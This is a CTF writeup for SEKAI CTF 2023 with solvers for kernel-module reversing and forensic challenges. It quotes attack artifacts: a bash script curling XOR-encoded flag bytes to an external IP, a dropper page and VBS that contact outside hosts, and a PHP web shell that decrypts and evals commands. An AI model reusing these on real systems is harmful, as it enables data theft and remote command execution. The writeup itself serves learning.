All Articles

SEKAI CTF 2023 Writeup

This page has been machine-translated from the original page.

I participated in SEKAI CTF 2023, which started on 8/26, as part of 0nePadding.

Our final rank this time was 347th.

While lamenting my lack of skill, I am writing this writeup as usual to review the problems.

There were several challenges that looked interesting, so I would also like to try the ones I could not solve later.

Contents

Azusawa’s Gacha World(Rev)

I will not include screenshots because there seemed to be various copyright-related issues, but this challenge involved analyzing a copy of a social game app with the Flag embedded in it.

The Flag was embedded in the image of an SSR whose gacha drop rate was set to 0%.

The challenge binary was a game implemented in Unity, so I analyzed the logic by examining Assembly-CSharp.dll with ILSpy.

Reference: How to Reverse Engineer a Unity Game | Kodeco

However, I thought it would be faster to extract the resources than to follow the implementation, so I extracted the game images with AssetStudio and was able to obtain the Flag.

Guardians of the Kernel(Rev)

It’s just a warmup but with another layer which is the kernel.

Attachment

The challenge binaries provided were bzImage and initramfs.cpio.

When I extracted the file system locally with the following command, I was able to obtain a kernel driver file named flag_checker.ko.

mkdir root
cd root; cpio -idv < ../initramfs.cpio

After decompiling this with IDA, I obtained the following device_ioctl function.

__int64 __fastcall device_ioctl(__int64 a1, int a2, __int64 a3)
{
  __int64 result; // rax
  unsigned __int8 *v6; // rax
  int v7; // edx
  int v8; // eax
  unsigned int v9; // eax
  __int64 v10; // rdx

  if ( a2 == 28673 )
  {
    if ( !layers[1] )
      return 0LL;
    if ( !copy_from_user(buffer, a3, 7LL) )
    {
      buffer[7] = 0;
      v6 = buffer;
      while ( (unsigned __int8)(*v6 - 48) <= 9u )
      {
        if ( &buffer[7] == ++v6 )
        {
          v7 = 7 * __ROL4__(1507359807 * __ROR4__(422871738 * *(_DWORD *)buffer, 15), 11);
          v8 = __ROR4__(422871738 * ((buffer[5] << 8) ^ (buffer[6] << 16) ^ buffer[4]), 15);
          v9 = 1984242169
             * ((v7 + 1204333666) ^ (1507359807 * v8) ^ 7 ^ (((v7 + 1204333666) ^ (unsigned int)(1507359807 * v8)) >> 16));
          if ( (((-1817436554 * ((v9 >> 13) ^ v9)) >> 16) ^ (-1817436554 * ((v9 >> 13) ^ v9))) != 261736481 )
            return 0LL;
          return device_ioctl_cold();
        }
      }
      return 0LL;
    }
    return -14LL;
  }
  if ( a2 == 28674 )
  {
    if ( !layers[2] )
      return 0LL;
    v10 = copy_from_user(buffer, a3, 12LL);
    if ( !v10 )
    {
      do
      {
        buffer[v10] += buffer[v10 + 1] * ~(_BYTE)v10;
        ++v10;
      }
      while ( v10 != 12 );
      if ( *(_QWORD *)buffer != 0x788C88B91D88AF0ELL || *(_DWORD *)&buffer[8] != 2113081836 || buffer[12] )
        return 0LL;
      printk(&unk_2EB, a3);
      return 1LL;
    }
    return -14LL;
  }
  if ( a2 != 28672 )
  {
    printk(&unk_302, a3);
    return 0LL;
  }
  if ( copy_from_user(buffer, a3, 6LL) )
    return -14LL;
  if ( *(_DWORD *)buffer != 1095451987 || *(_WORD *)&buffer[4] != 31561 )
    return 0LL;
  printk(&unk_2B6, a3);
  result = 1LL;
  layers[1] = 1;
  return result;
}

The code is broadly split into three parts, and you can see that each part validates a portion of the Flag string.

First, here is the initial layer.

if ( a2 != 28672 )
{
    printk(&unk_302, a3);
    return 0LL;
}
if ( copy_from_user(buffer, a3, 6LL) ) return -14LL;
if ( *(_DWORD *)buffer != 1095451987 || *(_WORD *)&buffer[4] != 31561 ) return 0LL;
printk(&unk_2B6, a3);
result = 1LL;

As you can tell at a glance, this shows that the first 6 bytes of the Flag match SEKAI{.

image-20230828222053906

Next, let us look at the following layer.

if ( a2 == 28674 )
{
if ( !layers[2] )
  return 0LL;
v10 = copy_from_user(buffer, a3, 12LL);
if ( !v10 )
{
  do
  {
    buffer[v10] += buffer[v10 + 1] * ~(_BYTE)v10;
    ++v10;
  }
  while ( v10 != 12 );
  if ( *(_QWORD *)buffer != 0x788C88B91D88AF0ELL || *(_DWORD *)&buffer[8] != 2113081836 || buffer[12] )
    return 0LL;
  printk(&unk_2EB, a3);
  return 1LL;
}
return -14LL;
}

This part is also very simple: it applies buffer[i] += buffer[i + 1] * ~(_BYTE)i to the last 12 characters of the Flag and checks whether the result matches the hard-coded byte values.

I was able to solve this with the following solver.

from z3 import *
flag = [BitVec(f"flag[{i}]", 8) for i in range(13)]
buf  = [BitVec(f"buf[{i}]", 8) for i in range(13)]

s = Solver()

for i in range(12):
    s.add(And(
        (flag[i] >= 0x21),
        (flag[i] <= 0x7e)
    ))
    s.add(flag[i] != 0)

s.add(flag[12] == 0x00)
s.add(buf[12] == 0x00)

# buffer[i] += buffer[i + 1] * ~(_BYTE)i;
for i in range(12):
    s.add(buf[i] == flag[i] + flag[i+1] * (~i & 0xFF) )

s.add(buf[7] == 0x78)
s.add(buf[6] == 0x8C)
s.add(buf[5] == 0x88)
s.add(buf[4] == 0xB9)
s.add(buf[3] == 0x1D)
s.add(buf[2] == 0x88)
s.add(buf[1] == 0xAF)
s.add(buf[0] == 0x0E)

s.add(buf[11] == 0x7d)
s.add(buf[10] == 0xf3)
s.add(buf[9] == 0x11)
s.add(buf[8] == 0xec)

if s.check() == sat:
    m = s.model()
    for c in flag:
        print(chr(m[c].as_long()),end="")

Running the above shows that the end of the Flag is SEKAIPL@YER}.

Finally, let us look at the layer for the first half of the Flag.

I could follow the implementation here, but I could not write the solver correctly during the contest, so I failed to solve it at the time (it seems I had misplaced some parentheses…).

if ( a2 == 28673 )
{
if ( !layers[1] )
  return 0LL;
if ( !copy_from_user(buffer, a3, 7LL) )
{
  buffer[7] = 0;
  v6 = buffer;
  while ( (unsigned __int8)(*v6 - 48) <= 9u )
  {
    if ( &buffer[7] == ++v6 )
    {
      v7 = 7 * __ROL4__(1507359807 * __ROR4__(422871738 * *(_DWORD *)buffer, 15), 11);
      v8 = __ROR4__(422871738 * ((buffer[5] << 8) ^ (buffer[6] << 16) ^ buffer[4]), 15);
      v9 = 1984242169
         * ((v7 + 1204333666) ^ (1507359807 * v8) ^ 7 ^ (((v7 + 1204333666) ^ (unsigned int)(1507359807 * v8)) >> 16));
      if ( (((-1817436554 * ((v9 >> 13) ^ v9)) >> 16) ^ (-1817436554 * ((v9 >> 13) ^ v9))) != 261736481 )
        return 0LL;
      return device_ioctl_cold();
    }
  }
  return 0LL;
}
return -14LL;
}

Implementation-wise, this compares the result of splitting the first 7 characters of the Flag into 4 bytes and 3 bytes and then applying several operations such as shifts, rotates, and multiplication.

# Import modules
from z3 import *
from pwn import *

# Create bit-vector variables
buf = BitVec("buf", 32)
buf2 = BitVec("buf2", 32)

# Create a solver instance
s = Solver()
s.add(buf2>>24 == 0)
for i in range(4):
    # LShR(>>)
    s.add((LShR(buf,8*i) & 0xFF) >= 0x30)
    s.add((LShR(buf,8*i) & 0xFF) <= 0x39)

for i in range(3):
    # LShR(>>)
    s.add((LShR(buf2,8*i) & 0xFF) >= 0x30)
    s.add((LShR(buf2,8*i) & 0xFF) <= 0x39)

# def ror(a,b): return (LShR(a,b)|(a<<(32-b))) & N # RotateRight
# def rol(a,b): return ror(a,32-b) # RotateLeft

# v7 = 7 * __ROL4__(1507359807 * __ROR4__(422871738 * *(_DWORD *)buffer, 15), 11);
# v8 = __ROR4__(422871738 * ((buffer[5] << 8) ^ (buffer[6] << 16) ^ buffer[4]), 15);
# v9 = 1984242169 * ((v7 + 1204333666) ^ (1507359807 * v8) ^ 7 ^ (((v7 + 1204333666) ^ (unsigned int)(1507359807 * v8)) >> 16));
# if ( (((-1817436554 * ((v9 >> 13) ^ v9)) >> 16) ^ (-1817436554 * ((v9 >> 13) ^ v9))) != 261736481 )

N = 0xFFFFFFFF
a = (422871738 * buf)
a = (1507359807 * RotateRight(a, 15))
v7 = (7 * RotateLeft(a, 11))
b = buf2
v8 = RotateRight((422871738 * b), 15)
v9 = (1984242169 * ((v7 + 1204333666) ^ (1507359807 * v8) ^ 7 ^ LShR((((v7 + 1204333666) ^ (1507359807 * v8))), 16)))
s.add((LShR(((-1817436554 * (LShR(v9, 13) ^ v9))), 16) ^ (-1817436554 * (LShR(v9, 13) ^ v9))) == 0xF99C821)

# Search for a solution
if s.check() == sat:
    print(p32(s.model()[buf].as_long()) + p32(s.model()[buf2].as_long()))

# SEKAI{6001337SEKAIPL@YER}

Because the result of running the above solver is 6001337, I was able to determine that the final correct Flag is SEKAI{6001337SEKAIPL@YER}.

Eval_Me(Forensic)

I was trying a beginner CTF challenge and successfully solved it. But it didn’t give me the flag. Luckily I have this network capture. Can you investigate?

The challenge gives you a server that requires you to solve arithmetic problems within a fixed time limit, along with a pcap.

First, after solving all of the arithmetic problems with the following solver, you can obtain a URL for downloading a file called extract.sh.

from pwn import *
import binascii
import time

p = remote("chals.sekai.team", 9000)

def calc(arr):
    a = int(arr[0])
    b = int(arr[2])
    n = arr[1]
    if n == "+":
        return a+b
    if n == "-":
        return a-b
    if n == "*":
        return a*b
    if n == "/":
        return a/b

print(p.recvline())
print(p.recvline())
print(p.recvline())
print(p.recvline())

i = 0
while (i < 99):
    r = p.recvline()
    print(r)
    r = r.decode().split(" ")
    p.sendline(
        str(calc(r)).encode()
    )
    print(p.recvline())
    i += 1

p.interactive()

extract.sh was the following script.

#!/bin/bash

FLAG=$(cat flag.txt)
KEY='s3k@1_v3ry_w0w'


# Credit: https://gist.github.com/kaloprominat/8b30cda1c163038e587cee3106547a46
Asc() { printf '%d' "'$1"; }


XOREncrypt(){
    local key="$1" DataIn="$2"
    local ptr DataOut val1 val2 val3

    for (( ptr=0; ptr < ${#DataIn}; ptr++ )); do

        val1=$( Asc "${DataIn:$ptr:1}" )
        val2=$( Asc "${key:$(( ptr % ${#key} )):1}" )

        val3=$(( val1 ^ val2 ))

        DataOut+=$(printf '%02x' "$val3")

    done

    for ((i=0;i<${#DataOut};i+=2)); do
    BYTE=${DataOut:$i:2}
    curl -m 0.5 -X POST -H "Content-Type: application/json" -d "{\"data\":\"$BYTE\"}" http://35.196.65.151:30899/ &>/dev/null
    done
}

XOREncrypt $KEY $FLAG

exit 0

Here, you can see that the byte values of the Flag are XOR-encrypted using s3k@1_v3ry_w0w as the key and then sent in POST requests to some server.

The packets for this communication correspond to the pcap included with the challenge binary.

So I used the following one-liner with tshark to extract every byte value contained in the POST requests.

tshark -r ./capture.pcapng  -Y "http.request.method == POST" -T fields -e json.value.string | tr '\n' ' '

Finally, by decrypting the XOR with the following solver, I was able to obtain the Flag.

# tshark -r ./capture.pcapng  -Y "http.request.method == POST" -T fields -e json.value.string | tr '\n' ' '
data = "20 76 20 01 78 24 45 45 46 15 00 10 00 28 4b 41 19 32 43 00 4e 41 00 0b 2d 05 42 05 2c 0b 19 32 43 2d 04 41 00 0b 2d 05 42 28 52 12 4a 1f 09 6b 4e 00 0f".split(" ")
data = [int("0x"+ i, 16) for i in data]
key = "s3k@1_v3ry_w0w"

i = 0
for d in data:
    print(
        chr(d ^ ord(key[i % len(key)])), end=""
        )
    i += 1
# SEKAI{3v4l_g0_8rrrr_8rrrrrrr_8rrrrrrrrrrr_!!!_8483}

DEF CON Invitation(Forensic)

As you all know, DEF CON CTF Qualifier 2023 was really competitive and we didn’t make it. Surprisingly, 2 months before the finals in Las Vegas, we received an official invitation from Nautilus Institute to attend the event. Should we accept the invitation and schedule the trip?

When I checked the HTML source embedded in the ics file attached to the eml file that was provided as the challenge binary, I found that it referenced the HTML page https://storage.googleapis.com/defcon-nautilus/venue-guide.html.

When I fetched the source of that HTML, it contained the following JavaScript.

const ror = (message) => {
  const foo = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
  const bar = "nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM"
  return message.replace(/[a-z]/gi, letter => bar[foo.indexOf(letter)])
}

async function dd(dataurl, fileName) {
  const response = await fetch(dataurl);
  const blob = await response.blob();

  const link = document.createElement("a");
  link.href = URL.createObjectURL(blob);
  link.download = fileName;
  link.click();
}
  
window.onload = function() {
  const downloadButton = document.getElementById("downloadButton");
  downloadButton.onclick = function() {
    dd(ror('uggcf://fgbentr.tbbtyrncvf.pbz/qrspba-anhgvyhf/irahr-znc.cat.iof'), ror('foi.tac.cnz-rhari').split("").reverse().join(""));
  }
};

After roughly deobfuscating this logic, I was able to obtain a malicious VBS file named venue-map.png.vbs.

As I continued print-debugging the VBS file by adding WScript.Echo, the download link for defcon-flag.png.XORed, an image file encrypted by OwOwO(ewkjunfw), was revealed.

Reading further through the VBS processing, I found that the following code is called at the end.

Dim http: Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
Dim url: url = "http://20.106.250.46/sendUserData"

With http
  Call .Open("POST", url, False)
  Call .SetRequestHeader("Content-Type", "application/json")
  Call .Send("{""username"":""" & strUser & """}")
End With

When I entered an arbitrary username and sent a POST request to this destination, it returned the message Not admin!.

So I sent a POST request with the username set to admin, and I obtained the key 02398482aeb7d9fe98bf7dc7cc_ITDWWGMFNY.

image-20230828225005968

Using this key, I created the following solver and was able to obtain the correct Flag.

import array

KEY = [ord(c) for c in "02398482aeb7d9fe98bf7dc7cc_ITDWWGMFNY"]

def xor_bytes(in_bytes, key=None):
    if not key:
        key = KEY
    arr = array.array('B', in_bytes)
    for i, val in enumerate(arr):
        cur_key = key[i % len(key)]
        arr[i] = val ^ cur_key
    return bytes(arr)


def xor_file(input_file, output_file=None, key=None):
    with open(input_file, 'rb') as encoded_stream:
        buf = encoded_stream.read()
    buf = xor_bytes(buf, key=key)
    if output_file:
        with open(output_file, 'wb') as decoded_stream:
            decoded_stream.write(bytes(buf))
    return buf

xor_file("defcon-flag.png.XORed", output_file="defcon-flag.png", key=KEY)

image-20230828225326023

Infected(Forensic)

Our systems recently got ransomwared, and we tracked the origin to our web server. We’re not sure how they got access, can you find out?

The challenge provided a pcap and a full set of files from the WordPress server.

From the problem statement, it looked like all I needed to do was identify how the ransomware infection occurred.

For now, I opened the pcap in Wireshark and checked the HTTP request statistics, which showed that a variety of suspicious requests had landed.

image-20230830184838040

Also, because an unusually large number of requests to this server returned 404, I first filtered out only the packets with status code 200.

image-20230830212957906

I reviewed the list of GET queries, but I could not find anything that seemed directly connected to the ransomware infection.

So next I narrowed the extracted packets down to the POST method.

image-20230830213247891

After looking through them, I noticed something obviously suspicious at the very bottom: data named file was being sent via POST to data.php.

image-20230830213754268

When I searched the challenge files for data.php, I found the following script, which appeared to decrypt the received data as a file.

<?php

set_error_handler(function($errno, $errstr, $errfile, $errline) {
    // error was suppressed with the @-operator
    if (0 === error_reporting()) {
        return false;
    }
    
    throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
});

try {
    $ab8a69 = $_FILES['file'];
    $a1721b = fopen($ab8a69['tmp_name'], "r");
    $abdfbe = fread($a1721b,filesize($ab8a69['tmp_name']));
    $ae25f0 = substr($abdfbe, 0, strpos($abdfbe, "..."));
    $aa1090 = substr($abdfbe, strpos($abdfbe, "...") + 3);
    $afd8f0 = "-----BEGIN RSA PRIVATE KEY-----\n".chunk_split(base64_encode($aa1090), 64, "\n")."-----END RSA PRIVATE KEY-----\n";
}
catch (Exception $e) {
    die("");
}

$aa13a9 = "KG2bFhlYm8arwrJfc+xWCYqeoySjgrWnvA9zuVfd/pBwnmC8vAdOTydYKDC0VE10xRTq6+79HX7QgCScYjQ8ogHzkppFN2ifFSBkM1bzWckTl6shvZvp8d7678ZxlPZOhm4q0MtJ7BMFRbZuSKl10o1UDUkwVm7CZfCBQd1NLf0=,OfCbPFExBkpXi5F+SohxpXQLHvICHKF64rUIxVwhR83nMmO0k9Xqjh4+FHMCz0KcFXF5CGR6WUWC+aDqDhJZTgossQ+h1tSEfHpFif87ip0/OEHerOfyfPtQR3E62xUW1++3gm8WB38nkFiP6o1bkIdd9ZYObwQsp0YPlrj6AlA=,MiH8FWh7hHp+Yr2/Kv78WvMItwiwaCiO4DwBTq/IXU99hHUvb8iayOBUzLtr4Xg9wBGzHq73fY266XK+60YboIC15Es1J7vN8XRsUhlxavf8ssVmYDz4gz08+V9Ow+0k39Ef9Ic4NSiN+vbHCyCdFkvFsbfuUbyCHoxZyAjp1Z4=,pjnJiJt4sgRW48wgVIEmygN5+0HJiAVma5JPxQMIcpYqZUBsPkAW6/2wcMjqkZ7wzXdYZy706JV5gGm1F2egrtEtrsfo2V5eVMOsgLmB/ApVYmYsJ0DBl/8npo0JtvKM3dMeOg9LL5v+26QLKOxDRSX74rAYNSw4iPeH5y4SxCQ=,KkU+QkZ1PbLmKmfcLUGxUDMIWTKoYo9YAfiwe5heK1WwbuqoH2ra3WEv3vLCePK6ovlJoybcCeutQNY5AiR5OOuEAS/uM82WBCffE03cxezkkQPWbA43bstduUHgM6afqxPj6YaFI/C2ARQCYOWGMzYLeCdLkuKfvriudv/XnO0=,CtiyfFrf9+p8L2m6js0jmyHt5+1kYjfD0uO2Nggvkv+fZuBfGmN2BWxvD+oUBVA2TXkKQi+pBBlsc+9WWIjnL7ZCyWol9qUOHIwGdN8ab2IKI3Zl5qUwIFQcJHGRVeAjGnEOGM8iU5T1JZjO+QwJB9LTvyh8Ki9SGjqqxnNGT/M=,VszkcW2yR61TdtOSpRlh4DZ05SOlNR0n8rOlzdmnE+3RBarszIVsSg+59Yc7B+8+NqAslN32qBcu0sW5e+Vz3ABxdnIgaMoQcJ5Ku9T2p2UbuZ0j+LYxTrcIqnlc+THi8Do9q+Lml34/woKDOIIkKrjHhVnf6dusxI7Dv7z3oU0=,pIDhg8+nNcqxxClYVaYAGKig3/T0KWWbDm0BWN0M3u8ST0Nw6Am/crxXGMddK8m6qW5oyOvWgiD6XdUy0cfUo3zeXCXo3UYa+hxrTIKj1SS/n4LkzQ6egSRq4XK1fECKApY+8eiLEMOvyixnzD2ohs6FA5R/a12bMx8xzLctTG8=,TwB9lsoQC47npnc0Fy+Gt85zuRkuk8e1kPjogierA3tZiA6zs+6Qc6d9Ri7kfpasekO4dhZsM1W9z0n/zWpq+0Xp5tJ77mpryGPfae3KRSTS0QscQMi/ZhD+Pi6ajL3FoxKI7wfZ7RA0OKGSxhbiNHcD6WEShSbHILkuC7wWVMw=,rq0fb0wiKfJyqd3CCVAmwu3a8EKvgZ9B3K7sct8BoeBG/PKbp8a8AC9AbWPqnjYSIcFNkexdH1lXJrvgLKrC4UaqpMdi+Zqu96oc3695VfN0zspAKZkjEUwU8PA+En7R5qwSMD4QLop+2qZ+Tx1DC7Y2QwvqH7kAxwwloou45zw=,eTJY1cWk0XfO166TYwkvxA+6A6Ee5xXv53PtV7nbblXGx8PlVXUa5DU/dAXzTuyO1Ykkh16t0TKlyF/7X1G2S5z8RPjmyzIwhALHWw+zvWhE5hDf3lhZ1co6L9/Y7nSgKwUuWTsi1ZPqlrJTTlCyE+gNJE4M+Rh8QfJ/YQsWMBM=,BBeqrThbTcuSguT+9V2a5w2zTeL2GG+WZx26DXy0Y/sH8D85PMTk2lsVNs0e+yj06RfAkQuq6LrYVyEC9wB63ovSKxKIY0vZLaqxwZwA8RdzVcoOrx1/+acY1WqgeG8ZJdXCK7DFcRakkAclhZYNwJO+yKvto+ytvbWcKo0eeDI=,i5rXk8yQ4RVFvlY+sKFvlD19qAA8+9qTtzEGHXeSI9O+v2TDAoLJQuNnp+m3WTReKf8WN3sZ4CTpvUpXR0UYbZ1TUSHRyvWTkm+2P6E4DXdRvotwp+HyviELbjTrn0ajilPV3+X3DF1m1MaDo5v03gBIFRxCuDJM3CYk8KFw/kQ=,";
$a4b1af = "";

$af5e94 = explode(",", $aa13a9);
foreach ($af5e94 as $a64500) {
    openssl_private_decrypt(base64_decode($a64500), $a64500, $afd8f0);
    $a4b1af .= $a64500;
}

if ($a4b1af == "") {
    die("");
}
else {
    eval($a4b1af);
}
?>

I saved the POST data extracted from the pcap as file.bin and reproduced the attack locally.

# Start the PHP server
docker run --net host --rm -it -v `pwd`:/root php bash
php -S 127.0.0.1:8080

# Send the file
curl -X POST -F file=@./file.bin http://localhost:8080/date.php

When I tried print-debugging the value of the final eval($a4b1af), I was able to obtain the following PHP script.

$pvk1 = "-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQCyYg7DzqjtPGCUT+q38iZcQDqZFC+lIxqo+g1/OhT45AMPtea0
habVZX77whFsQz5zE3fUXLZCzDnZpvtfr4Y8JSzGdL7O0qf3KAQIfk26YQeKOOje
ECNi5zUk3wf+5QUZjXnvDj+BUr78fV57zMpCBe65+mTiBpFkzsNTYo+VxwIDAQAB
AoGBAKyHPrSPer8JOHf525DRudxbmtFXvsU/cJeiUc+Nw57+GR/m1R4gbj3TDsA8
8VD+sLXoTGuux/FPSVyDrnjbcT25akm0FE+KkBZ6dNLFtOq6WQTe3N8HHDHkpqbZ
qXbmuph4MqZlDpKMbEL1cQ81MkgAdPJnljvrjpIoqn5wZ7cRAkEA1+SjeaueSCu4
4VzXTDOMkBqT5rEfJXnT7fN9eM48dXCd1LotWIL/2xcGkC4OdqT0kQiSs4pOQlcn
Lle18qOL5QJBANOFh3aaoGDfH60ecX2MHDnvHz4CSAIInlNXsPpbhWrt7blmGBeA
nuwIiaQOMzvrj084xk3nI8PMIzdgxUFveDsCQA2w1h0VIQh6nVLNTGnsqvFIfjCW
8t6xhxsD4eUTTwozhg7Db7S5Ofhu0V+7S/eCJnA8FvGDx8q1NCrgLQ2iCXECQDl2
cRKbdy5Z7zUMrDA7O//RIl+qJv3GcZyamg2ph1lBQe+3+JuJ6aKdvya+ZNTGbaxL
9DN9s42hi3+j3nKkYbkCQDy68qEICIdcLPFzv/sEN2JS1Cg21lJMH14ao0M3Di9B
G4oDHVBHCRtDGXOviR8AG0VpghDHheonDFaX5O7VXUM=
-----END RSA PRIVATE KEY-----
";
$pbk1 = "-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCyucnknkBP4whz0YJrblke667f
5g4EfCmKcO2j7c+WEOWmbVBRZ/ETtqOIEM8Hp9rV605R1gJBf7tcxziEoX4wxQm5
nfAqXkHUdloGyK7p7IZTh5tX6KnckCtrwbD7EFwjWBBceVHRmnmVdtF4yIkwaD2S
4tw4O5CVYcIlIAAo6QIDAQAB
-----END PUBLIC KEY-----
";
openssl_private_decrypt($ae25f0, $decrypted, $pvk1);
$result = `{$decrypted} 2>&1`;
$encrypted = "";
$chunks = str_split($result, 116);
foreach ($chunks as $chunk) {
    openssl_public_encrypt($chunk, $tmp, $pbk1);
    $encrypted .= base64_encode($tmp).",";
}
echo $encrypted;

After embedding this into PHP, adding a line to print $decrypted, and sending the POST request once more, I successfully obtained the correct Flag as shown below.

image-20230830220836552

Summary

Every time I enter a contest, I am reminded of how far my skills still have to go.